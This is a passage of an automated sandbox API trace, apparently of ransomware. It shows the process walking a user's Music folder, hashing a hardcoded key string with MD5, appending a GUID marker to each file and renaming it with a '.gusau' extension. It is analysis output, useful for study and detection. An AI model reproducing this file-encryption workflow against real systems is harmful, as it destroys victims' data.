lpNumberOfBytesRead=0x405fb78*=0xfeb5, lpOverlapped=0x0) returned 1 [0117.641] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.641] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.641] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.641] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0117.642] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.642] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.642] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.642] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.642] GetLastError () returned 0x0 [0117.642] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.642] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0117.643] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xfeb5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.643] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.643] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.643] CloseHandle (hObject=0x610) returned 1 [0117.644] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y9xtUA5iI6IPOKUD.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\y9xtua5ii6ipokud.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y9xtUA5iI6IPOKUD.wav.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\y9xtua5ii6ipokud.wav.gusau")) returned 1 [0117.645] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd670e740, ftCreationTime.dwHighDateTime=0x1d4cf4a, ftLastAccessTime.dwLowDateTime=0xac2ad00, ftLastAccessTime.dwHighDateTime=0x1d4c62f, ftLastWriteTime.dwLowDateTime=0xac2ad00, ftLastWriteTime.dwHighDateTime=0x1d4c62f, nFileSizeHigh=0x0, nFileSizeLow=0x14916, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Z3UK3vFO8h-zCs4j.mp3", cAlternateFileName="Z3UK3V~1.MP3")) returned 1 [0117.645] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z3UK3vFO8h-zCs4j.mp3") returned=".mp3" [0117.645] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z3UK3vFO8h-zCs4j.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z3uk3vfo8h-zcs4j.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.646] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=84246) returned 1 [0117.646] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.647] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x148f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.647] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.649] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x14916, lpOverlapped=0x0) returned 1 [0117.650] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.650] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.650] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.650] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0117.651] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.651] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.651] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.651] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.651] GetLastError () returned 0x0 [0117.651] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.651] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0117.652] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x14916, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.652] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.652] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.652] CloseHandle (hObject=0x610) returned 1 [0117.653] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z3UK3vFO8h-zCs4j.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z3uk3vfo8h-zcs4j.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z3UK3vFO8h-zCs4j.mp3.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z3uk3vfo8h-zcs4j.mp3.gusau")) returned 1 [0117.655] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8a55d40, ftCreationTime.dwHighDateTime=0x1d4c764, ftLastAccessTime.dwLowDateTime=0x5ab91680, ftLastAccessTime.dwHighDateTime=0x1d4cb18, ftLastWriteTime.dwLowDateTime=0x5ab91680, ftLastWriteTime.dwHighDateTime=0x1d4cb18, nFileSizeHigh=0x0, nFileSizeLow=0xb7e1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZBi4Ka.wav", cAlternateFileName="")) returned 1 [0117.655] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ZBi4Ka.wav") returned=".wav" [0117.655] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ZBi4Ka.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\zbi4ka.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.656] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=47073) returned 1 [0117.656] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.657] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xb7bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.657] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.659] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xb7e1, lpOverlapped=0x0) returned 1 [0117.660] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.660] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.660] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.660] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0117.660] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.660] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.660] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.660] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.661] GetLastError () returned 0x0 [0117.661] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.661] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0117.661] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xb7e1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.661] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.661] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.661] CloseHandle (hObject=0x610) returned 1 [0117.662] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ZBi4Ka.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\zbi4ka.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ZBi4Ka.wav.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\zbi4ka.wav.gusau")) returned 1 [0117.663] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17babc70, ftCreationTime.dwHighDateTime=0x1d4cfd3, ftLastAccessTime.dwLowDateTime=0x56510790, ftLastAccessTime.dwHighDateTime=0x1d4d583, ftLastWriteTime.dwLowDateTime=0x56510790, ftLastWriteTime.dwHighDateTime=0x1d4d583, nFileSizeHigh=0x0, nFileSizeLow=0x1441e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zyzE7.m4a", cAlternateFileName="")) returned 1 [0117.663] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zyzE7.m4a") returned=".m4a" [0117.663] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zyzE7.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\zyze7.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.664] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=82974) returned 1 [0117.664] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.666] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x143f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.666] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.667] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x1441e, lpOverlapped=0x0) returned 1 [0117.668] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.668] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.668] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.668] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0117.669] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.669] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.669] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.669] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.669] GetLastError () returned 0x0 [0117.669] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.669] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0117.670] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x1441e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.670] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.670] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.670] CloseHandle (hObject=0x610) returned 1 [0117.671] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zyzE7.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\zyze7.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zyzE7.m4a.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\zyze7.m4a.gusau")) returned 1 [0117.672] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a83490, ftCreationTime.dwHighDateTime=0x1d4d4d4, ftLastAccessTime.dwLowDateTime=0x7c3da2f0, ftLastAccessTime.dwHighDateTime=0x1d4cbcf, ftLastWriteTime.dwLowDateTime=0x7c3da2f0, ftLastWriteTime.dwHighDateTime=0x1d4cbcf, nFileSizeHigh=0x0, nFileSizeLow=0xd6e7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_wiR1L3MR2ebfVeG.mp3", cAlternateFileName="_WIR1L~1.MP3")) returned 1 [0117.672] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_wiR1L3MR2ebfVeG.mp3") returned=".mp3" [0117.672] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_wiR1L3MR2ebfVeG.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\_wir1l3mr2ebfveg.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.673] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=55015) returned 1 [0117.673] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.674] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xd6c1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.674] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.676] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xd6e7, lpOverlapped=0x0) returned 1 [0117.676] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.676] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.676] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.677] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0117.677] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.677] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.677] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.677] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.677] GetLastError () returned 0x0 [0117.678] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.678] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0117.678] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xd6e7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.678] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.678] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.678] CloseHandle (hObject=0x610) returned 1 [0117.679] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_wiR1L3MR2ebfVeG.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\_wir1l3mr2ebfveg.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_wiR1L3MR2ebfVeG.mp3.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\_wir1l3mr2ebfveg.mp3.gusau")) returned 1 [0117.680] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a83490, ftCreationTime.dwHighDateTime=0x1d4d4d4, ftLastAccessTime.dwLowDateTime=0x7c3da2f0, ftLastAccessTime.dwHighDateTime=0x1d4cbcf, ftLastWriteTime.dwLowDateTime=0x7c3da2f0, ftLastWriteTime.dwHighDateTime=0x1d4cbcf, nFileSizeHigh=0x0, nFileSizeLow=0xd6e7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_wiR1L3MR2ebfVeG.mp3", cAlternateFileName="_WIR1L~1.MP3")) returned 0 [0117.680] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0117.680] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0117.681] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0117.681] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\") returned="My Documents\\" [0117.681] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0117.681] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0117.681] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.681] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.681] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0117.681] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0117.681] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0117.681] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e28 | out: hHeap=0xd10000) returned 1 [0117.681] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.681] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0117.681] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.681] PathFindFileNameW (pszPath="") returned="" [0117.681] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.681] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a83490, ftCreationTime.dwHighDateTime=0x1d4d4d4, ftLastAccessTime.dwLowDateTime=0x7c3da2f0, ftLastAccessTime.dwHighDateTime=0x1d4cbcf, ftLastWriteTime.dwLowDateTime=0x7c3da2f0, ftLastWriteTime.dwHighDateTime=0x1d4cbcf, nFileSizeHigh=0x0, nFileSizeLow=0xd6e7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_wiR1L3MR2ebfVeG.mp3", cAlternateFileName="_WIR1L~1.MP3")) returned 0xffffffff [0117.681] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.681] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0117.681] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.681] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0117.681] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f430 [0117.681] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0117.681] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.681] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0117.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.683] HeapFree 